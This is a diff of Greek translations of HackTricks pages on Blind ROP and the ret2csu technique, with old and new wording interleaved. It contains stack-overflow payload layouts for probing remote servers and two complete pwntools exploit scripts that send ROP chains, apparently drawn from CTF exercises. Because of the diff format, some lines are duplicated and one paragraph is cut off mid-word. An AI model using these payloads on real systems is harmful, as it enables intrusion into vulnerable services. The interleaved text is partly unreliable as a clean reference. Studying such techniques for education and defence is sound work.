Ο πίνακας PLT μπορεί να αναζητηθεί από 0x400000 ή από τη **διαρρεύσουσα διεύθυνση RIP** από το stack (αν χρησιμοποιείται **PIE**). Οι **καταχωρήσεις** του πίνακα είναι **χωρισμένες κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση, ο server δεν καταρρέει ακόμη και αν οι παράμετροι δεν είναι σωστοί. Επίσης, η έλεγχος της διεύθυνσης μιας καταχώρησης στο **PLT + 6B επίσης δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται.
|
||||
|
||||
Επομένως, είναι δυνατό να βρείτε τον πίνακα PLT ελέγχοντας την ακόλουθη συμπεριφορά:
|
||||
Επομένως, είναι δυνατό να βρείτε τον πίνακα PLT ελέγχοντας τις εξής συμπεριφορές:
|
||||
|
||||
* `'A' * μετατόπιση + canary + rbp + ΔΙΕΥΘΥΝΣΗ + STOP` -> χωρίς κατάρρευση
|
||||
* `'A' * μετατόπιση + canary + rbp + (ΔΙΕΥΘΥΝΣΗ + 0x6) + STOP` -> χωρίς κατάρρευση
|
||||
* `'A' * μετατόπιση + canary + rbp + (ΔΙΕΥΘΥΝΣΗ + 0x10) + STOP` -> χωρίς κατάρρευση
|
||||
* `'A' * offset + canary + rbp + ADDR + STOP` -> καμία κατάρρευση
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> καμία κατάρρευση
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> καμία κατάρρευση
|
||||
|
||||
### 7. Εύρεση strcmp
|
||||
|
||||
Η συνάρτηση **`strcmp`** ορίζει τον καταχωρητή **`rdx`** στο μήκος του συμβολοσειράς που συγκρίνεται. Σημειώστε ότι το **`rdx`** είναι το **τρίτο όρισμα** και χρειαζόμαστε να είναι **μεγαλύτερο από 0** για να χρησιμοποιήσουμε αργότερα την `write` για να διαρρεύσουμε το πρόγραμμα.
|
||||
Η συνάρτηση **`strcmp`** ρυθμίζει τον καταχωρητή **`rdx`** στο μήκος της συμβολοσειράς που συγκρίνεται. Σημειώστε ότι **`rdx`** είναι η **τρίτη παράμετρος** και πρέπει να είναι **μεγαλύτερη από 0** προκειμένου να χρησιμοποιήσουμε αργότερα το `write` για να διαρρεύσουμε το πρόγραμμα.
|
||||
|
||||
Είναι δυνατό να βρεθεί η τοποθεσία του **`strcmp`** στο PLT βασιζόμενο στη συμπεριφορά του χρησιμοποιώντας το γεγονός ότι τώρα μπορούμε να ελέγξουμε τα 2 πρώτα ορίσματα των συναρτήσεων:
|
||||
Είναι δυνατό να βρείτε την τοποθεσία της **`strcmp`** στον PLT με βάση τη συμπεριφορά της χρησιμοποιώντας το γεγονός ότι μπορούμε τώρα να ελέγξουμε τις 2 πρώτες παραμέτρους των συναρτήσεων:
|
||||
|
||||
* strcmp(\<μη αναγνωσμένη διεύθυνση>, \<μη αναγνωσμένη διεύθυνση>) -> κατάρρευση
|
||||
* strcmp(\<μη αναγνωσμένη διεύθυνση>, \<αναγνωσμένη διεύθυνση>) -> κατάρρευση
|
||||
* strcmp(\<αναγνωσμένη διεύθυνση>, \<μη αναγνωσμένη διεύθυνση>) -> κατάρρευση
|
||||
* strcmp(\<αναγνωσμένη διεύθυνση>, \<αναγνωσμένη διεύθυνση>) -> χωρίς κατάρρευση
|
||||
* strcmp(\<μη αναγνώσιμη διεύθυνση>, \<μη αναγνώσιμη διεύθυνση>) -> κατάρρευση
|
||||
* strcmp(\<μη αναγνώσιμη διεύθυνση>, \<αναγνώσιμη διεύθυνση>) -> κατάρρευση
|
||||
* strcmp(\<αναγνώσιμη διεύθυνση>, \<μη αναγνώσιμη διεύθυνση>) -> κατάρρευση
|
||||
* strcmp(\<αναγνώσιμη διεύθυνση>, \<αναγνώσιμη διεύθυνση>) -> καμία κατάρρευση
|
||||
|
||||
Είναι δυνατό να ελέγξετε αυτό καλώντας κάθε καταχώρηση του πίνακα PLT ή χρησιμοποιώντας τη **PLT αργή διαδρομή** που βασικά συνίσταται στο **να καλείτε μια καταχώρηση στον πίνακα PLT + 0xb** (η οποία καλεί το **`dlresolve`**) ακολουθούμενη στο stack από τον **αριθμό καταχώρησης που θέλετε να ελέγξετε** (ξεκινώντας από το μηδέν) για να σαρώσετε όλες τις καταχωρήσεις PLT από την πρώτη:
|
||||
|
||||
* strcmp(\<μη αναγνώσιμη διεύθυνση>, \<αναγνώσιμη διεύθυνση>) -> κατάρρευση
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Θα καταρρεύσει
|
||||
* strcmp(\<αναγνώσιμη διεύθυνση>, \<μη αναγνώσιμη διεύθυνση>) -> κατάρρευση
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<αναγνώσιμη διεύθυνση>, \<αναγνώσιμη διεύθυνση>) -> καμία κατάρρευση
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Θυμηθείτε ότι:
|
||||
|
||||
* BROP + 0x7 δείχνει στο **`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 δείχνει στο **`pop RDI; ret;`**
|
||||
* PLT + 0xb δείχνει σε μια κλήση στο **dl\_resolve**.
|
||||
|
||||
Αφού βρείτε το `strcmp`, είναι δυνατό να ρυθμίσετε το **`rdx`** σε μια τιμή μεγαλύτερη από 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Σημειώστε ότι συνήθως το `rdx` θα φιλοξενεί ήδη μια τιμή μεγαλύτερη από 0, οπότε αυτό το βήμα μπορεί να μην είναι απαραίτητο.
|
||||
{% endhint %}
|
||||
|
||||
Είναι δυνατό να ελεγχθεί αυτό καλώντας κάθε είσοδο του πίνακα PLT ή χρησιμοποιώντας τη **PLT slow path** που ουσιαστικά αποτελείται από το **κάλεσμα ενός στοιχείου στον πίνακα PLT + 0xb** (που καλεί το **`dlresolve`**) ακολουθούμενο στη στοίβα από τον **αριθμό εισόδου που επιθυμεί κανείς να εξετάσει** (ξεκινώντ
|
||||
### 8. Εύρεση Write ή ισοδύναμου
|
||||
|
||||
Τέλος, απαιτείται ένα εργαλείο που εξαγάγει δεδομένα για να εξαχθεί το δυαδικό. Και αυτή τη στιγμή είναι δυνατόν να **ελέγξουμε 2 ορίσματα και να ορίσουμε το `rdx` μεγαλύτερο από 0.**
|
||||
Τέλος, χρειάζεται ένα gadget που να εξάγει δεδομένα προκειμένου να εξάγει το δυαδικό αρχείο. Και σε αυτό το σημείο είναι δυνατό να **ελέγξετε 2 παραμέτρους και να ρυθμίσετε το `rdx` μεγαλύτερο από 0.**
|
||||
|
||||
Υπάρχουν 3 κοινές συναρτήσεις που μπορούν να καταχραστούν γι' αυτό:
|
||||
Υπάρχουν 3 κοινές συναρτήσεις που θα μπορούσαν να καταχραστούν για αυτό:
|
||||
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
|
@ -96,21 +116,36 @@
|
|||
|
||||
Ωστόσο, το αρχικό έγγραφο αναφέρει μόνο τη **`write`**, οπότε ας μιλήσουμε γι' αυτήν:
|
||||
|
||||
Το τρέχον πρόβλημα είναι ότι δεν γνωρίζουμε **πού βρίσκεται η συνάρτηση write μέσα στο PLT** και δεν γνωρίζουμε **έναν αριθμό fd για να στείλουμε τα δεδομένα στο socket μας**.
|
||||
Το τρέχον πρόβλημα είναι ότι δεν γνωρίζουμε **πού βρίσκεται η συνάρτηση write μέσα στον PLT** και δεν γνωρίζουμε **έναν αριθμό fd για να στείλουμε τα δεδομένα στη σύνδεσή μας**.
|
||||
|
||||
Ωστόσο, γνωρίζουμε **πού βρίσκεται ο πίνακας PLT** και είναι δυνατόν να βρούμε την write βασιζόμενοι στην **συμπεριφορά** της. Και μπορούμε να δημιουργήσουμε **πολλαπλές συνδέσεις** με τον εξυπηρετητή και να χρησιμοποιήσουμε ένα **υψηλό FD** ελπίζοντας ότι ταιριάζει με κάποια από τις συνδέσεις μας.
|
||||
Ωστόσο, γνωρίζουμε **πού είναι ο πίνακας PLT** και είναι δυνατό να βρούμε τη write με βάση τη **συμπεριφορά** της. Και μπορούμε να δημιουργήσουμε **πολλές συνδέσεις** με τον server και να χρησιμοποιήσουμε έναν **υψηλό FD** ελπίζοντας ότι θα ταιριάζει με κάποιες από τις συνδέσεις μας.
|
||||
|
||||
Υπογραφές συμπεριφοράς για την εύρεση αυτών των συναρτήσεων:
|
||||
Υπογραφές συμπεριφοράς για να βρείτε αυτές τις συναρτήσεις:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν εκτυπωμένα δεδομένα, τότε βρέθηκε το puts
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν εκτυπωμένα δεδομένα, τότε βρέθηκε το dprintf
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν εκτυπωμένα δεδομένα, τότε βρέθηκε η write
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η puts
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η dprintf
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η write
|
||||
|
||||
## Αυτόματη Εκμετάλλευση
|
||||
## Automatic Exploitation
|
||||
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
* Αρχικό έγγραφο: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Ret2csu
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστηρίξτε το HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -19,15 +19,15 @@
|
|||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Βασικές Πληροφορίες
|
||||
|
||||
Το **ret2csu** είναι μια τεχνική χάκερ που χρησιμοποιείται όταν προσπαθείτε να πάρετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος. 
|
||||
**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να ελέγξετε ένα πρόγραμμα αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.
|
||||
|
||||
Όταν ένα πρόγραμμα χρησιμοποιεί κάποιες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διάφορα κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Ανάμεσα σε αυτές τις λειτουργίες υπάρχουν μερικά κρυμμένα κειμήλια που μπορούν να λειτουργήσουν ως τα λείποντα gadgets μας, ειδικά ένα που ονομάζεται `__libc_csu_init`.
|
||||
Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει κάποιες ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διάφορα κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`.
|
||||
|
||||
### Τα Μαγικά Gadgets στο \_\_libc\_csu\_init
|
||||
|
||||
Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που ξεχωρίζουν:
|
||||
Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που πρέπει να επισημανθούν:
|
||||
|
||||
1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε διάφορους καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
|
||||
1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν θέσεις όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
|
@ -37,18 +37,18 @@ pop r14;
|
|||
pop r15;
|
||||
ret;
|
||||
```
|
||||
Αυτό το εργαλείο μας επιτρέπει να ελέγχουμε αυτά τα registries παίρνοντας τιμές από τη στοίβα και τις τοποθετεί σε αυτά.
|
||||
Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αφαιρώντας τιμές από τη στοίβα σε αυτούς.
|
||||
|
||||
2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ορίσει για να κάνει μερικά πράγματα:
|
||||
* **Μεταφορά συγκεκριμένων τιμών σε άλλα registries**, κάνοντάς τα έτοιμα για να τα χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
|
||||
* **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται από την πρόσθεση των τιμών στο r15 και rbx, και στη συνέχεια πολλαπλασιασμό του rbx με 8.
|
||||
2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα:
|
||||
* **Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές**, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
|
||||
* **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται προσθέτοντας τις τιμές σε r15 και rbx, και στη συνέχεια πολλαπλασιάζοντας το rbx με 8.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
2. Ίσως δεν ξέρεις καμία διεύθυνση για να γράψεις εκεί και **χρειάζεσαι μια εντολή `ret`**. Σημείωσε ότι το δεύτερο εργαλείο θα **τελειώσει επίσης με ένα `ret`**, αλλά θα πρέπει να πληροίς κάποιες **συνθήκες** προκειμένου να το φτάσεις:
|
||||
2. Ίσως να μην γνωρίζετε καμία διεύθυνση για να γράψετε εκεί και **χρειάζεστε μια εντολή `ret`**. Σημειώστε ότι το δεύτερο gadget θα **τελειώνει επίσης σε `ret`**, αλλά θα χρειαστεί να πληροίτε κάποιες **προϋποθέσεις** για να το φτάσετε:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -62,8 +62,8 @@ ret
|
|||
```
|
||||
Οι συνθήκες θα είναι:
|
||||
|
||||
* Το `[r12 + rbx*8]` πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν υπάρχει ιδέα και δεν υπάρχει Position Independent Executable, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση `_init`):
|
||||
* Αν η συνάρτηση `_init` βρίσκεται στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε ένα δείκτη στη μνήμη προς αυτήν και να κάνετε το `[r12 + rbx*8]` να είναι η διεύθυνση με το δείκτη προς το `_init`:
|
||||
* `[r12 + rbx*8]` πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν έχετε ιδέα και δεν υπάρχει pie, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση `_init`):
|
||||
* Αν η _init είναι στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε έναν δείκτη στη μνήμη προς αυτήν και κάντε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς την _init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -73,14 +73,14 @@ gef➤ search-pattern 0x400560
|
|||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* Τα `rbp` και `rbx` πρέπει να έχουν την ίδια τιμή για να αποφευχθεί το άλμα
|
||||
* Υπάρχουν ορισμένα παραλειπόμενα pops που πρέπει να λάβετε υπόψη
|
||||
* `rbp` και `rbx` πρέπει να έχουν την ίδια τιμή για να αποφευχθεί η αναπήδηση
|
||||
* Υπάρχουν μερικά παραλειπόμενα pops που πρέπει να λάβετε υπόψη
|
||||
|
||||
## RDI και RSI
|
||||
|
||||
Ένας άλλος τρόπος να ελέγξετε τα **`rdi`** και **`rsi`** από το gadget ret2csu είναι προσπελαώντας συγκεκριμένα offsets:
|
||||
Ένας άλλος τρόπος για να ελέγξετε **`rdi`** και **`rsi`** από το gadget ret2csu είναι με την πρόσβαση σε συγκεκριμένες μετατοπίσεις:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες:
|
||||
|
||||
|
@ -92,14 +92,14 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
### Χρησιμοποιώντας την κλήση
|
||||
|
||||
Φανταστείτε ότι θέλετε να κάνετε ένα syscall ή να καλέσετε μια συνάρτηση όπως η `write()` αλλά χρειάζεστε συγκεκριμένες τιμές στα registries `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα αναζητούσατε gadgets που ορίζουν αυτά τα registries απευθείας, αλλά δεν μπορείτε να βρείτε κανένα.
|
||||
Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Κανονικά, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
|
||||
|
||||
Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**:
|
||||
|
||||
1. **Ρύθμιση των Registries**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να εξάγετε τιμές από τη στοίβα και να τις μεταφέρετε στα rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
|
||||
2. **Χρήση του Δεύτερου Gadget**: Με αυτά τα registries ορισμένα, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μετακινήσετε τις επιλεγμένες τιμές σας στα `rdx` και `rsi` (από r14 και r13 αντίστοιχα), ετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και την τοποθετείτε στο `[r15 + rbx*8]`.
|
||||
1. **Ρύθμιση των Καταχωρητών**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να βγάλετε τιμές από τη στοίβα και να τις τοποθετήσετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
|
||||
2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`.
|
||||
|
||||
Έχετε ένα [**παράδειγμα χρησιμοποιώντας αυτή την τεχνική και εξηγώντας την εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτή είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:
|
||||
Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Σημειώστε ότι το προηγούμενο exploit δεν προορίζεται να κάνει **`RCE`**, αλλά απλά να καλέσει μια συνάρτηση που ονομάζεται **`win`** (παίρνοντας τη διεύθυνση του `win` από την είσοδο καλώντας τη gets στη ROP αλυσίδα και αποθηκεύοντάς τη στο r15) με ένα τρίτο όρισμα με την τιμή `0xdeadbeefcafed00d`.
|
||||
Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται να κάνει **`RCE`**, προορίζεται απλώς να καλέσει μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`.
|
||||
{% endhint %}
|
||||
|
||||
### Παράκαμψη της κλήσης και φτάνοντας στο ret
|
||||
### Παράκαμψη της κλήσης και προσέγγιση του ret
|
||||
|
||||
Το παρακάτω exploit εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, παρακάμπτει τις συγκρίσεις και φτάνει στο `ret` μετά την κλήση:
|
||||
Η ακόλουθη εκμετάλλευση εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, **παρακάμπτει τις συγκρίσεις και προσεγγίζει το `ret`** μετά την κλήση:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
@ -179,6 +179,21 @@ payload += ret2win
|
|||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
### Γιατί Να Μην Χρησιμοποιήσετε Απευθείας την libc;
|
||||
### Γιατί να μην χρησιμοποιήσουμε απευθείας τη libc;
|
||||
|
||||
Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες στο **ret2plt** + **ret2lib**, αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από ό,τι είναι εύκολα ελέγξιμες με τα gadgets που βρίσκετε απευθείας στην libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ορίσετε αυτές απευθείας ενδέχεται να μην είναι δυνατή**.
|
||||
Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες μπορούν να ελεγχθούν εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
|
||||
|
||||
{% hint style="success" %}
|
||||
